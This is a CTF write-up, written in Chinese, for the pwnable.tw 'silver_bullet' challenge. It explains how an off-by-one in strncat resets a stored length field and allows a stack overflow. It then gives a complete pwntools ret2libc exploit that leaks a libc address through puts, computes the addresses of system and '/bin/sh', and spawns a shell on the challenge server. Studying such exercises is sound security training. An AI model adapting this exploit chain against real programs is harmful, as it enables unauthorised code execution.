通过逆向可以发现本题的漏洞在于power_up函数中的strncat
int __cdecl power_up(mystruct *dest)
{
char s[48]; // [esp+0h] [ebp-34h] BYREF
int v3; // [esp+30h] [ebp-4h]
v3 = 0;
memset(s, 0, sizeof(s));
if ( !dest->str[0] )
return puts("You need create the bullet first !");
if ( dest->len > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(s, 48 - dest->len);
strncat(dest->str, s, 48 - dest->len);
v3 = strlen(s) + dest->len;
printf("Your new power is : %u\n", v3);
dest->len = v3;
return puts("Enjoy it !");
}
如果v3恰好等于48, 则strncat会把dest->str后面的一个字节写入\x00, dest->len被改写成最后一次输入字符串的长度, 之后可以继续power_up写入造成缓冲区溢出. 本题没有stack canary, 可以直接覆盖main的返回地址
本题给出了libc, 因此考虑ret2libc
ret2libc首先泄露libc函数地址, 可以把返回地址修改为puts@PLT, 打印出__libc_start_main@GOT, 并把puts的返回地址设置为_start的地址让程序再次运行
得到__libc_start_main的地址后, 计算出system和bin_sh的地址, 然后用相同的方法写入栈中
完整exp:
#!/usr/bin/env python3
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
libc = ELF('./libc_32.so.6')
bin_sh_off = 0x158e8b
#p = process('./silver_bullet')
p = remote('chall.pwnable.tw', 10103)
puts_plt = 0x080484A8
_libc_start_main_got = 0x0804AFEC
_start_ad = 0x080484F0
def creat_bullet(str):
p.sendlineafter('Your choice :', b'1')
p.sendafter('Give me your description of bullet :', str)
def power_up_bullet(str):
p.sendlineafter('Your choice :', b'2')
p.sendafter('Give me your another description of bullet :', str)
def beat():
p.sendlineafter('Your choice', b'3')
creat_bullet(b'A' * 24)
power_up_bullet(b'A' * 24)
payload1 = b'\xff\xff\x7f' + b'A' * 4 + p32(puts_plt) + p32(_start_ad) + p32(_libc_start_main_got)
power_up_bullet(payload1)
beat()
beat()
p.recvuntil(b'Oh ! You win !!\x0a')
_libc_start_main_ad = u32(p.recv(4))
print(f'__libc_start_main at {hex(_libc_start_main_ad)}')
creat_bullet(b'A' * 24)
power_up_bullet(b'A' * 24)
libc_start = _libc_start_main_ad - libc.symbols['__libc_start_main']
payload2 = b'\xff\xff\x7f' + b'AAAA' + p32(libc_start + libc.symbols['system']) + p32(_start_ad) + p32(libc_start + bin_sh_off)
power_up_bullet(payload2)
beat()
beat()
p.interactive()